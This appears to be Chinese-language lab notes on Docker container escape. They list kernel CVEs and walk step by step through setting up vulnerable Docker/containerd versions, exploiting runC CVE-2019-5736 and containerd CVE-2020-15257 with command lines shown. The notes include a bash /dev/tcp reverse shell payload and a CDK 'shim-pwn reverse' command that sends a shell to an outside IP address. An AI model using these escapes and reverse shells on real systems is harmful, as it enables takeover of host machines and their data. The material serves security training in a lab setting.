云原生-Docker安全-容器逃逸&系统内核漏洞
细节部分在权限提升章节会详解,常用:
CVE-2016-5195 CVE-2019-16884 CVE-2021-3493
CVE-2021-22555 CVE-2022-0492 CVE-2022-0847 CVE-2022-23222
云原生-Docker安全-容器逃逸&docker版本漏洞
CVE-2019-5736 runC容器逃逸(需要管理员配合触发)
影响版本:
Docker version <= 18.09.2
RunC version <= 1.0-rc6
1、安装docker对应版本
apt-get update
apt-get install -y apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://mirrors.tencentyun.com/docker-ce/linux/ubuntu/gpg | sudo apt-key add -
sudo add-apt-repository "deb [arch=amd64] https://mirrors.tencentyun.com/docker-ce/linux/ubuntu $(lsb_release -cs) stable"
apt-get update
apt-cache madison docker-ce
apt-get install docker-ce=18.06.1~ce~3-0~ubuntu
docker --version

2、启动靶场环境测试
docker run -itd --cap-add=SYS_ADMIN ubuntu:latest

docker ps
docker exec -it 1f1532ed764b /bin/bash
ls -la /

3、编译修改后EXP后等待管理员进入容器执行
bash -c 'exec bash -i >& /dev/tcp/127.0.0.1/8080 0>&1'

修改完毕后,要把这个main.go编译成main文件
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

docker cp main c58ad026dad2:/

chmod 777 main

等待

管理员进入
docker exec -it 1f1532ed764b /bin/bash

上线成功了

4、实验获取云服务器上docker搭建的Web权限后进行逃逸
docker run -it -p 8888:8080 vulhub/struts2:s2-053
环境安装失败
CVE-2020-15257 containerd逃逸(启动容器时有前提参数)
影响版本:
containerd < 1.4.3
containerd < 1.3.9
1、安装docker对应版本
apt-get update
安装必要依赖
apt-get install apt-transport-https ca-certificates curl software-properties-common
配置阿里源加速
curl -fsSL http://mirrors.aliyun.com/docker-ce/linux/ubuntu/gpg | sudo apt-key add -
增加仓库
add-apt-repository "deb [arch=amd64] http://mirrors.aliyun.com/docker-ce/linux/ubuntu $(lsb_release -cs) stable"
更新缓存
apt-get update
apt-cache madison docker-ce
apt-get install -y docker-ce=5:19.03.7~3-0~ubuntu-xenial docker-ce-cli=5:19.03.7~3-0~ubuntu-xenial containerd.io=1.2.4-1
docker version

2、启动环境测试:
docker pull ubuntu:18.04
docker run -itd --net=host ubuntu:18.04 /bin/bash //--net=host是前提条件,不加这个参数启动的docker没有这个漏洞
docker exec -it 0e3f3d63e5da /bin/bash

3、上传CDK工具自动逃逸反弹

docker cp cdk_linux_amd64 0e3f3d63e5da:/tmp

chmod 777 cdk_linux_amd64
./cdk_linux_amd64 run shim-pwn reverse 111.230.109.74 5566 //这是指定漏洞利用
./cdk_linux_amd64 auto-escape id //自动化漏洞扫描

